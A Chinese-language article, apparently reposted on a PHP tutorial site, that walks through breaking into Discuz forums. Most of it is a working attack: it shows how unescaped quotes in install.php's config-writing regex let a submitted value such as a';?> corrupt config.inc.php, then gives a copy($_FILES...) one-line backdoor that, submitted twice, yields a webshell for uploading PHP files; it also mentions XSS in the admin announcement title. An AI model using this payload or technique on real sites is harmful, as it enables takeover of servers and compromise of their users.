Home  >  Article  >  Backend Development  >  两种Discuz网站漏洞的入侵方法_PHP

两种Discuz网站漏洞的入侵方法_PHP

WBOY
WBOYOriginal
2016-06-01 12:25:342741browse

鸡肋1:install.php由于preg_grep过滤不严存在安全漏洞,可以直接拿webshell
如果你万幸发现install.php存在,但还没创建数据库账号,或者得到了数据库账号拿不到shell的时候,可以看看这个。

install.php的339-412行中对变量configfile进行了如下过滤
<font color="#000000"> <font color="#0000BB">$configfile </font><font color="#007700">= </font><font color="#0000BB">preg_replace</font><font color="#007700">(</font><font color="#DD0000">"/[$]dbhosts*=s*[\"'].*?[\"']/is\", \"$dbhost = '$dbhost'\", $configfile); <br><br>$configfile = preg_replace(\"/[$]dbusers*=s*[\"'].*?[\"']/is\", \"$dbuser = '$dbuser'\", $configfile); <br><br>$configfile = preg_replace(\"/[$]dbpws*=s*[\"'].*?[\"']/is\", \"$dbpw = '$dbpw'\", $configfile); <br><br>............</font> </font>
意思是对$configfile文件中对$dbhost = ' '这样的匹配模式进行替换,这里并没有对单引号进行过滤,由于对主机,数据库名,密码等过滤规则是一样的,我们其中一个填写框中输入

<font color="#000000"> <font color="#0000BB">a</font><font color="#007700">'</font><font color="#0000BB">;?></font> </font>
;------------(这是第一次提交)
然后保存,保存得到信息可能会错数据库连接出错,没有关系,因为discuz的安装配置文件是先写入再判断的,然后你查看一下config.inc.php,会出现

<font color="#000000"> <font color="#0000BB">$dbhost </font><font color="#007700">= </font><font color="#DD0000">'a'</font><font color="#007700">;</font><font color="#0000BB">?></font>'</font>

这样的格式。
我们回到上一步,再保存一次---------------------(这是第二次提交)
这时你会看到config.inc.php已经被破坏了,会出现

<font color="#000000"> <font color="#0000BB">$dbhost </font><font color="#007700">= </font><font color="#DD0000">'a'</font><font color="#007700">;</font><font color="#0000BB">?></font>';?>';</font>

这样的情况,但现在是却是一种 这样完整的匹配模式了.
那我们在?>前面加上我们的一句话后门,就可以得到一个webshell了。
例如写入:<font color="#000000"> <font color="#0000BB">a</font><font color="#007700">'</font><font color="#0000BB">;copy($_FILES[myfile][tmp_name],$_FILES[myfile][name])?></font> </font>
重复写入两次就可以通过install.php上传php后门了。

鸡肋2:后台的发公告的标题存在跨站漏洞。

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn